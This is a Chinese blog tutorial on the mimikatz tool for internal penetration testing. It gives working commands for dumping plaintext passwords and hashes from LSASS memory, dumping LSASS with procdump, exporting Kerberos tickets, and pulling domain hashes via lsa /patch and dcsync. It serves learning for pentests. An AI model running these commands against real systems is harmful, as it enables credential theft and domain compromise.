【内网渗透】mimikatz 基本使用

【内网渗透】mimikatz 基本使用

 
13 人赞同了该文章

前言

本文主要是记录内网渗透神器mimikatz的主要使用方法,作为今后在渗透过程中的一个简单手册。

1. 工具简介

项目地址:

作者一直在更新这个项目,截止今日,最近一次更新2021年8月10日。

mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证。

功能模块命令如下:

cls:       清屏
standard:  标准模块,基本命令
crypto:    加密相关模块
sekurlsa:  与证书相关的模块
kerberos:  kerberos模块
privilege: 提权相关模块
process:   进程相关模块
serivce:   服务相关模块
lsadump:   LsaDump模块
ts:        终端服务器模块
event:     事件模块
misc:      杂项模块
token:     令牌操作模块
vault:     Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:     DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv:    系统环境值模块
sid:       安全标识符模块
iis:       IIS XML配置模块
rpc:       mimikatz的RPC控制
sr98:      用于SR98设备和T5577目标的RF模块
rdm:       RDM(830AL)器件的射频模块
acr:       ACR模块
version:   查看版本
exit:      退出

2. 提升权限 privilege::debug

通过debug获得mimikatz程序的特殊操作。

调试权限允许某人调试他们本来无法访问的进程。例如,作为用户运行的进程在其令牌上启用了调试权限,可以调试作为本地系统运行的服务。

 

 

当出现ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061时,表示客户端未持有所需的权限,即不是管理员。

 

 

3. 抓取明文密码 sekurlsa::logonpasswords

在windows2012以上的系统不能直接获取明文密码了,需要配置相关注册表等操作。

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
​
或者直接运行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

 

 

分析命令执行后的内容:

前面几行的Authentication ... SID等值就是一些基本信息。

msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文。

tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。

SSP:是在该机器上,最近登录到其他RDP终端的账户和密码。

4. sekurlsa模块 获取密码信息

Mimikatz提取用户凭证功能,其主要集中在sekurlsa模块,该模块又包含很多子模块,如msv,wdigest,kerberos等。如上面演示的抓取明文密码的sekurlsa::logonpasswords模块。

使用这些子模块可以提取相应的用户凭证,如

sekurlsa::msv提取ntlm hash凭证(对应上面截图的msv部分);

sekurlsa::wdigest提取用户密码明文(对应上面截图的wdigest部分);

sekurlsa::kerberos提取域账户凭证。

4.1 procdump + mimikatz 加载dmp文件,并导出其中的明文密码

procdump工具,可以将lsass.exe进程的内存文件导出来,由mimikatz对导出的内存文件进行分析,从而获取密码。

新版procdump v10.1 使用时存在错误:

开发者在下面也进行了回复,ProcDump v10.1 添加了对 IPT 流的支持——操作系统/调试器应该支持 Winv8.1+ 的 IPT——但它似乎甚至不在 Win10-RS1/Win2016 服务器中。

修复程序正在开发中。

[15:44:40] Dump 1 initiated: c:\temp\cmd.exe_210803_154440.dmp
[15:44:40] Dump 1 error: Error writing dump file: 0x80070057
The parameter is incorrect. (0x80070057, -2147024809)
​
[15:44:40] Dump count reached. 

 

 

这里我使用procdump v8.0

 


 

管理员运行工具,导出为lsass.dump文件:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

 

 

将lsass.dmp放在mimikatz同一目录,读取密码文件:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

 

 

4.2 导出lsass.exe进程中所有的票据 sekurlsa::tickets /export

该功能模块导出lsass.exe进程中所有的票据,运行该命令会在当前目录生成多个服务的票据文件。

 

 

可以使用这些导出的票据进行票据传递攻击(Pass The Ticket,PTT),对应的另一种攻击方式为哈希传递攻击(Pass The Hash,PTH)。

目前没有遇到这种环境进行学习,该种攻击方法的学习链接如下:票据传递(Pass The Ticket)攻击与利用:

之后遇到相关靶场环境(PTH、PTT)再进行学习记录。

5. lsadump模块 读取域控中域成员Hash

5.1 读取所有域用户的哈希 lsadump::lsa /patch

该命令需要在域控机器上执行:

 

 

5.2 查看域内指定用户信息,包括NTLM哈希

该命令需要在域控机器上执行:

lsadump::dcsync /domain:god.org /user:ligang

 

 

总结

文章整理的有点乱,还是对mimikatz不够熟悉。mimikatz的功能远不止这些,包括上面提到的PTH和PTT攻击,还需要好好深入学习。

参考资料

神器mimikatz密码提取工具-Privilege模块

利用procdump+mimikatz读取windows系统中的密码

编辑于 2021-08-24 22:57

内容所属专栏

posted on   漫思  阅读(272)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· DeepSeek R1 简明指南:架构、训练、本地部署及硬件要求
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
历史上的今天:
2023-12-15 SwiftUI 教程
2023-12-15 when(C# 参考)
2023-12-15 where(泛型类型约束)(C# 参考)
2023-12-15 C#where关键字约束
2023-12-15 百度工程师移动开发避坑指南——Swift语言篇
2023-12-15 盘点 swift 中 where 关键字的所有用法,你知道多少?
2023-12-15 C#11的字符串语法

导航

< 2025年2月 >
26 27 28 29 30 31 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 1
2 3 4 5 6 7 8
点击右上角即可分享
微信分享提示